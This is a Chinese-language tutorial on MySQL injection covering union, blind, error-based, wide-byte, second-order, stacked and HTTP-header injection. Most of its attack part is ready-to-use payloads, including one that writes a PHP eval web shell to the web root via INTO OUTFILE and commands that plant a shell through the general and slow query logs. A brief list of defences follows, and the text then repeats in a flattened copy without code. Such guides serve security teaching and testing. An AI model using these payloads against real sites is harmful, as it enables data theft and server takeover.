Mysql注入详细讲解
字数 1265 2025-08-10 08:28:04

MySQL注入攻击全面指南

1. 注入基础概念

MySQL注入是一种通过构造恶意SQL语句来操纵数据库查询的攻击技术。攻击者利用应用程序对用户输入处理不当的漏洞,将恶意代码注入到SQL查询中。

1.1 注入条件

  • 应用程序使用用户输入直接拼接SQL语句
  • 用户输入未经过充分过滤或转义
  • 数据库错误信息被直接显示给用户

2. 联合查询注入(Union Injection)

2.1 适用场景

  • 页面将SQL查询内容显示出来(有回显)
  • 可以利用关键字unionunion all拼接恶意SQL语句

2.2 注入流程

  1. 确定字段数

    ?id=1' order by 4 --+
    

    通过递增数字直到报错来确定字段数

  2. 获取回显位置

    ?id=-1' union select 1,2,3--+
    

    注意:union前面语句要出错(不是报错),select后必须拼接足够的字段数

  3. 使用null替代
    如果union select导致页面报错,可能是字段类型不匹配,可使用null:

    union select null,null,null
    

2.3 信息收集

  1. 获取数据库信息
    -- 当前数据库名称
    union select 1,2,database();
    
    -- 所有数据库
    union select 1,2,group_concat(schema_name) from information_schema.schemata;
    
    -- 当前数据库中的所有表名
    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();
    
    -- 表的列名
    union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users';
    
    -- 查询数据
    union select 1,2,group_concat(id,name,age) from student;
    

3. 盲注技术

3.1 布尔盲注

原理:通过页面返回的真假差异判断条件是否成立

常用函数

  • ascii():返回字符的ASCII码
  • count():计算结果集数量
  • length():返回字符串长度
  • substr()/substring():截取子字符串

利用方式

-- 判断数据库长度
?id=1' and (length(database())=8) --+

-- 逐字符猜测数据库名
?id=1' and ascii(substr(database(),1,1))=115 --+

3.2 时间盲注

适用场景

  • 无论输入什么都只显示无信息页面
  • 错误页面被屏蔽

常用函数

  • if(1,2,3):条件判断
  • sleep(x):延迟执行
  • benchmark(count,exp):执行表达式多次

利用方式

-- 猜数据库名长度
?id=1' and if(length(database())>7,1,sleep(5)) --+

-- 使用benchmark
?id=1' and benchmark(10000000,md5('a'))--+

4. 报错注入

利用MySQL报错信息泄露数据的技术。

4.1 常用报错函数

  1. exp()函数

    ?id=1' and exp(~(select * from (select version())x)) --+
    
  2. ExtractValue()

    ?id=1' and extractvalue(1,concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23)) --+
    
  3. updatexml()

    ?id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23),1) --+
    
  4. floor报错

    ?id=1' and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x) as y --+
    

5. 特殊注入技术

5.1 宽字节注入

原理:利用GBK编码特性吃掉转义字符

Payload

?id=1%df%27 and 1=1 %23

5.2 二次注入

原理:恶意数据先被存入数据库,后续查询时触发注入

利用

  1. 注册时:`admin '#
  2. 重置密码时SQL变为:
    UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
    

5.3 堆叠注入

原理:利用分号执行多条SQL语句

利用

?id=2';insert into users(id,username,password) values(99,'test','test') --+

5.4 HTTP头注入

可注入字段

  • X-Forwarded-For/Client-IP
  • User-Agent
  • Referer
  • Cookie

Payload示例

User-Agent: Mozilla/5.0...' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

6. 文件操作

6.1 读文件条件

  • 知道文件绝对路径
  • secure-file-priv非NULL或包含路径
  • MySQL有读权限

利用

union select 1,load_file('C:/test.txt');

6.2 写文件条件

  • secure-file-priv无值或有可利用目录
  • 知道目标绝对路径
  • 目录可写

利用

union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"

6.3 日志getshell

慢查询日志

set global slow_query_log = 1;
set global slow_query_log_file='C:/phpstudy/WWW/test.php';

查询日志

set global general_log = 'ON';
set global general_log_file = 'C:/phpStudy/WWW/test.php';

7. 防御措施

  1. 使用参数化查询(预处理语句)
  2. 对用户输入进行严格过滤和转义
  3. 最小权限原则,限制数据库用户权限
  4. 关闭错误信息显示
  5. 使用Web应用防火墙(WAF)
  6. 定期更新和修补系统

通过全面了解这些注入技术和防御方法,可以更好地保护MySQL数据库安全。

MySQL注入攻击全面指南 1. 注入基础概念 MySQL注入是一种通过构造恶意SQL语句来操纵数据库查询的攻击技术。攻击者利用应用程序对用户输入处理不当的漏洞,将恶意代码注入到SQL查询中。 1.1 注入条件 应用程序使用用户输入直接拼接SQL语句 用户输入未经过充分过滤或转义 数据库错误信息被直接显示给用户 2. 联合查询注入(Union Injection) 2.1 适用场景 页面将SQL查询内容显示出来(有回显) 可以利用关键字 union 或 union all 拼接恶意SQL语句 2.2 注入流程 确定字段数 : 通过递增数字直到报错来确定字段数 获取回显位置 : 注意:union前面语句要出错(不是报错),select后必须拼接足够的字段数 使用null替代 : 如果union select导致页面报错,可能是字段类型不匹配,可使用null: 2.3 信息收集 获取数据库信息 : 3. 盲注技术 3.1 布尔盲注 原理 :通过页面返回的真假差异判断条件是否成立 常用函数 : ascii() :返回字符的ASCII码 count() :计算结果集数量 length() :返回字符串长度 substr()/substring() :截取子字符串 利用方式 : 3.2 时间盲注 适用场景 : 无论输入什么都只显示无信息页面 错误页面被屏蔽 常用函数 : if(1,2,3) :条件判断 sleep(x) :延迟执行 benchmark(count,exp) :执行表达式多次 利用方式 : 4. 报错注入 利用MySQL报错信息泄露数据的技术。 4.1 常用报错函数 exp()函数 : ExtractValue() : updatexml() : floor报错 : 5. 特殊注入技术 5.1 宽字节注入 原理 :利用GBK编码特性吃掉转义字符 Payload : 5.2 二次注入 原理 :恶意数据先被存入数据库,后续查询时触发注入 利用 : 注册时: ` admin '# 重置密码时SQL变为: 5.3 堆叠注入 原理 :利用分号执行多条SQL语句 利用 : 5.4 HTTP头注入 可注入字段 : X-Forwarded-For/Client-IP User-Agent Referer Cookie Payload示例 : 6. 文件操作 6.1 读文件条件 知道文件绝对路径 secure-file-priv 非NULL或包含路径 MySQL有读权限 利用 : 6.2 写文件条件 secure-file-priv 无值或有可利用目录 知道目标绝对路径 目录可写 利用 : 6.3 日志getshell 慢查询日志 : 查询日志 : 7. 防御措施 使用参数化查询(预处理语句) 对用户输入进行严格过滤和转义 最小权限原则,限制数据库用户权限 关闭错误信息显示 使用Web应用防火墙(WAF) 定期更新和修补系统 通过全面了解这些注入技术和防御方法,可以更好地保护MySQL数据库安全。